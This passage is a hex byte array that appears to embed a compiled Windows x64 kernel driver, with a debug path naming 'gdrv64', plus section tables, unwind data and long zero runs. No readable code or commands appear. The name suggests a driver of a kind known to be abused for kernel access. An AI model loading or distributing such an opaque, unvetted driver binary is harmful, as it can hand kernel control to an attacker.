0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2F, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x80, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, + 0x54, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, + 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x88, 0x01, 0x00, 0x00, + 0xC8, 0x42, 0x00, 0x00, 0xC8, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x50, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x40, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, + 0x9F, 0x44, 0x71, 0x4D, 0x09, 0x1A, 0x30, 0x4A, 0xAA, 0xCC, 0x36, 0x6B, + 0x14, 0x01, 0x90, 0x11, 0x01, 0x00, 0x00, 0x00, 0x43, 0x3A, 0x5C, 0x55, + 0x73, 0x65, 0x72, 0x73, 0x5C, 0x67, 0x65, 0x6F, 0x72, 0x67, 0x65, 0x5C, + 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x5C, 0x76, 0x69, + 0x73, 0x75, 0x61, 0x6C, 0x20, 0x73, 0x74, 0x75, 0x64, 0x69, 0x6F, 0x20, + 0x32, 0x30, 0x31, 0x35, 0x5C, 0x50, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, + 0x73, 0x5C, 0x6C, 0x65, 0x67, 0x61, 0x63, 0x79, 0x67, 0x64, 0x72, 0x76, + 0x36, 0x34, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, + 0x73, 0x65, 0x5C, 0x67, 0x64, 0x72, 0x76, 0x36, 0x34, 0x2E, 0x70, 0x64, + 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x50, 0x02, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, + 0x50, 0x12, 0x00, 0x00, 0xD0, 0x1C, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, + 0x74, 0x24, 0x6D, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x20, 0x2F, 0x00, 0x00, + 0xE0, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, + 0x24, 0x30, 0x30, 0x00, 0x00, 0x30, 0x00, 0x00, 0x40, 0x04, 0x00, 0x00, + 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x32, 0x31, 0x00, + 0x40, 0x34, 0x00, 0x00, 0x4F, 0x06, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, + 0x74, 0x24, 0x73, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, + 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, + 0xF8, 0x40, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, + 0x66, 0x67, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x34, 0x01, 0x00, 0x00, + 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, + 0xFC, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, + 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x50, 0x44, 0x00, 0x00, + 0x50, 0x02, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0x50, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, + 0x61, 0x00, 0x00, 0x00, 0x20, 0x50, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, + 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, + 0xEC, 0x01, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0x70, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, + 0x64, 0x73, 0x24, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, + 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x80, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x80, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, + 0x00, 0x00, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, + 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00, + 0xC8, 0x81, 0x00, 0x00, 0x84, 0x02, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, + 0x60, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x31, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, 0xE8, 0x02, 0x00, 0x00, + 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x32, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x0F, 0x00, + 0x0F, 0x34, 0x0E, 0x00, 0x0F, 0xB2, 0x0B, 0x70, 0x02, 0x1D, 0x0E, 0x00, + 0x07, 0x06, 0x62, 0x16, 0x1D, 0x74, 0x0D, 0x00, 0x1D, 0x64, 0x0C, 0x00, + 0x1D, 0x54, 0x0B, 0x00, 0x1D, 0x34, 0x0A, 0x00, 0x1D, 0x52, 0x19, 0xF0, + 0x17, 0xE0, 0x15, 0xC0, 0x02, 0x10, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, + 0x10, 0x34, 0x0B, 0x00, 0x10, 0x32, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, + 0x07, 0x60, 0x06, 0x50, 0x02, 0x12, 0x0A, 0x00, 0x05, 0x16, 0x00, 0x06, + 0x12, 0x54, 0x0B, 0x00, 0x12, 0x34, 0x09, 0x00, 0x12, 0x32, 0x0E, 0xE0, + 0x0C, 0x70, 0x0B, 0x60, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x16, 0x00, 0x06, + 0x0A, 0x34, 0x08, 0x00, 0x0A, 0x52, 0x06, 0x70, 0x02, 0x0A, 0x06, 0x00, + 0x02, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, + 0x02, 0x14, 0x0A, 0x00, 0x02, 0x16, 0x00, 0x06, 0x14, 0x64, 0x08, 0x00, + 0x14, 0x54, 0x07, 0x00, 0x14, 0x34, 0x06, 0x00, 0x14, 0x32, 0x10, 0x70, + 0x02, 0x1F, 0x0D, 0x00, 0x06, 0x16, 0x00, 0x06, 0x1F, 0x74, 0x21, 0x00, + 0x1F, 0x64, 0x20, 0x00, 0x1F, 0x34, 0x1E, 0x00, 0x1F, 0x01, 0x1A, 0x00, + 0x14, 0xF0, 0x12, 0xE0, 0x10, 0x50, 0x00, 0x00, 0x1A, 0x27, 0x0C, 0x00, + 0x09, 0x16, 0x00, 0x06, 0x19, 0x64, 0x15, 0x00, 0x19, 0x34, 0x14, 0x00, + 0x19, 0xB2, 0x12, 0xF0, 0x10, 0xE0, 0x0E, 0xC0, 0x0C, 0x70, 0x0B, 0x50, + 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x23, 0x0A, 0x00, + 0x05, 0x16, 0x00, 0x06, 0x15, 0x64, 0x13, 0x00, 0x15, 0x34, 0x12, 0x00, + 0x15, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, + 0x58, 0x00, 0x00, 0x00, 0x1A, 0x1D, 0x08, 0x00, 0x04, 0x16, 0x00, 0x06, + 0x0F, 0x34, 0x12, 0x00, 0x0F, 0xB2, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, + 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x20, 0x08, 0x00, + 0x02, 0x16, 0x00, 0x06, 0x12, 0x74, 0x11, 0x00, 0x12, 0x34, 0x10, 0x00, + 0x12, 0xB2, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, + 0x1A, 0x21, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, 0x13, 0x34, 0x14, 0x00, + 0x13, 0xB2, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, + 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x21, 0x0A, 0x00, + 0x05, 0x16, 0x00, 0x06, 0x12, 0x54, 0x13, 0x00, 0x12, 0x34, 0x12, 0x00, + 0x12, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x60, 0x90, 0x2E, 0x00, 0x00, + 0x58, 0x00, 0x00, 0x00, 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, + 0x04, 0x42, 0x00, 0x00, 0x02, 0x15, 0x0A, 0x00, 0x03, 0x16, 0x00, 0x06, + 0x15, 0x74, 0x08, 0x00, 0x15, 0x64, 0x07, 0x00, 0x15, 0x34, 0x06, 0x00, + 0x15, 0x32, 0x11, 0xE0, 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, + 0x0F, 0x64, 0x09, 0x00, 0x0F, 0x34, 0x08, 0x00, 0x0F, 0x52, 0x0B, 0x70, + 0x02, 0x06, 0x04, 0x00, 0x02, 0x16, 0x00, 0x06, 0x06, 0x32, 0x02, 0x30, + 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x07, 0x00, + 0x0F, 0x34, 0x06, 0x00, 0x0F, 0x32, 0x0B, 0x70, 0x02, 0x19, 0x0C, 0x00, + 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x09, 0x00, 0x19, 0x64, 0x08, 0x00, + 0x19, 0x54, 0x07, 0x00, 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xE0, + 0x02, 0x0A, 0x06, 0x00, 0x06, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, + 0x0A, 0x32, 0x06, 0x70, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, + 0x01, 0x06, 0x0A, 0x06, 0x05, 0x06, 0x00, 0x06, 0x02, 0x04, 0x01, 0x00, + 0x04, 0x62, 0x00, 0x00, 0x02, 0x02, 0x03, 0x00, 0x06, 0x16, 0x00, 0x06, + 0x02, 0x30, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x01, 0x06, 0xE8, 0x26, + 0x48, 0x16, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00, + 0x01, 0x16, 0xAF, 0x06, 0x02, 0x00, 0x02, 0x00, 0x02, 0x16, 0x00, 0x06, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, + 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x50, 0x12, 0x00, 0x00, 0x37, 0x13, 0x00, 0x00, + 0x6C, 0x45, 0x00, 0x00, 0x38, 0x13, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, + 0x50, 0x45, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, + 0x30, 0x45, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, 0x22, 0x17, 0x00, 0x00, + 0x0C, 0x45, 0x00, 0x00, 0x24, 0x17, 0x00, 0x00, 0x86, 0x17, 0x00, 0x00, + 0x00, 0x46, 0x00, 0x00, 0x88, 0x17, 0x00, 0x00, 0xDB, 0x17, 0x00, 0x00, + 0x0C, 0x46, 0x00, 0x00, 0xDC, 0x17, 0x00, 0x00, 0x1D, 0x18, 0x00, 0x00, + 0xC8, 0x45, 0x00, 0x00, 0x20, 0x18, 0x00, 0x00, 0x9A, 0x18, 0x00, 0x00, + 0xD4, 0x45, 0x00, 0x00, 0x9C, 0x18, 0x00, 0x00, 0x7A, 0x19, 0x00, 0x00, + 0x50, 0x45, 0x00, 0x00, 0x7C, 0x19, 